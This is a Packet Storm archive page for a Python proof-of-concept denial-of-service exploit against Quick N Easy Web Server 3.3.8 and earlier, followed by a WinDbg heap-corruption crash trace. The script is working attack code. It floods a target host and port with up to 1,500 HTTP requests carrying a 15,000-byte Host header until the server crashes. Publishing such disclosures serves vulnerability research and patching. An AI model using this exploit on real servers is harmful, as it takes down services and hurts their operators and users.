exploit the possibilities

Quick N Easy Web Server 3.3.8 Denial Of Service

Quick N Easy Web Server 3.3.8 Denial Of Service
Posted Feb 24, 2020
Authored by Cody Winkler

Quick N Easy Web Server versions 3.3.8 and below suffer from a denial of service vulnerability.

tags | exploit, web, denial of service
MD5 | 5218697dedc8cda46fec13bcc6d3700a

Quick N Easy Web Server 3.3.8 Denial Of Service

Change Mirror Download
# Title: Quick N Easy Web Server 3.3.8 - Denial of Service (PoC)
# Date: 2019-12-25
# Author: Cody Winkler
# Vendor Homepage: https://www.pablosoftwaresolutions.com/
# Software Link: https://www.pablosoftwaresolutions.com/html/quick__n_easy_web_server.html
# Version: <= 3.3.8
# Tested on: Windows 10 x64 (wow64)
# CVE: N/A

#!/usr/bin/env python
"""
Remote Unauthenticated Heap Memory Corruption in Quick N' Easy Web Server <= 3.3.8

[+] Usage: python quickwww_heap338.py <IP> <PORT>

$ python exploit.py 127.0.0.1 80
"""

from __future__ import print_function
import socket
import sys
import re

host = sys.argv[1]
port = int(sys.argv[2])

crashed = r'(503 Service Unavailable)'

http_req = "GET / HTTP/1.1\r\n"
http_req += "Host: " + "A"*15000 + "\r\n" # 50000 A's causes an interesting double free in OLEAUT32!VariantClear() when attached to debugger
http_req += "User-Agent: A\r\n"
http_req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
http_req += "Accept-Language: en-US,en;q=0.5\r\n"
http_req += "Cookie: A\r\n"
http_req += "Connection: Close\r\n"
http_req += "Upgrade-Insecure-Requests: 0\r\n"
http_req += "Cache-control: max-age=0\r\n\r\n"

def main():

print("[+] Remote Heap Memory Corruption in Quick n Easy Web Server <= 3.3.8")
i = 1
while( i < 1500):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(http_req)
print("[+] Spraying heap with %d 5000-byte requests" % i, end='\r')
sys.stdout.flush()
if re.search(crashed, s.recv(1024)):
print(" "*50)
print("[+] Threads have exited BAADF00D with %d requests!" % i)
s.close()
exit()
s.close()
i = i+1
except Exception, msg:
print("[-] Something went wrong :(")
print(msg)

main()

"""
0:010> kb7
# ChildEBP RetAddr Args to Child
00 06bbf4d4 77ebc1f5 77df50e4 8ae27015 01471640 ntdll!RtlpValidateHeapEntry+0x61114
01 06bbf51c 77e6b325 06bc0048 01471640 772e0f80 ntdll!RtlDebugSizeHeap+0xb3
02 06bbf53c 772e0f9b 013b0000 00000000 06bc0048 ntdll!RtlSizeHeap+0x45775
03 06bbf550 76640be7 773fcf44 06bc0048 00000008 combase!CRetailMalloc_GetSize+0x1b [onecore\com\combase\class\memapi.cxx @ 702]
04 06bbf574 766408cd 06bc0048 01471760 00451f4c OLEAUT32!APP_DATA::FreeCachedMem+0x37
05 06bbf5a8 0041ec27 06bbf5bc 05ec4fe4 05ec4f50 OLEAUT32!VariantClear+0x20d
WARNING: Stack unwind information not available. Following frames may be wrong.
06 06bbf5c4 766408cd 76cd0008 0907a724 01471254 quickweb+0x1ec27

0:010> !analyze -v
<SNIP>
STACK_TEXT:
00000000 00000000 heap_corruption!quickweb.exe+0x0
SYMBOL_NAME: heap_corruption!quickweb.exe
MODULE_NAME: heap_corruption
IMAGE_NAME: heap_corruption
STACK_COMMAND: ** Pseudo Context ** ManagedPseudo ** Value: 7ba5870 ** ; kb
FAILURE_BUCKET_ID: HEAP_CORRUPTION_80000003_heap_corruption!quickweb.exe
OS_VERSION: 10.0.17763.1
BUILDLAB_STR: rs5_release
OSPLATFORM_TYPE: x86
OSNAME: Windows 10
FAILURE_ID_HASH: {68efeb37-77bb-f968-fc16-9a1fba88436f}
"""

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    2 Files
  • 2
    Mar 2nd
    18 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    12 Files
  • 5
    Mar 5th
    19 Files
  • 6
    Mar 6th
    8 Files
  • 7
    Mar 7th
    1 Files
  • 8
    Mar 8th
    1 Files
  • 9
    Mar 9th
    11 Files
  • 10
    Mar 10th
    15 Files
  • 11
    Mar 11th
    9 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    13 Files
  • 14
    Mar 14th
    10 Files
  • 15
    Mar 15th
    13 Files
  • 16
    Mar 16th
    27 Files
  • 17
    Mar 17th
    15 Files
  • 18
    Mar 18th
    23 Files
  • 19
    Mar 19th
    25 Files
  • 20
    Mar 20th
    10 Files
  • 21
    Mar 21st
    6 Files
  • 22
    Mar 22nd
    1 Files
  • 23
    Mar 23rd
    22 Files
  • 24
    Mar 24th
    15 Files
  • 25
    Mar 25th
    23 Files
  • 26
    Mar 26th
    20 Files
  • 27
    Mar 27th
    15 Files
  • 28
    Mar 28th
    10 Files
  • 29
    Mar 29th
    1 Files
  • 30
    Mar 30th
    18 Files
  • 31
    Mar 31st
    6 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close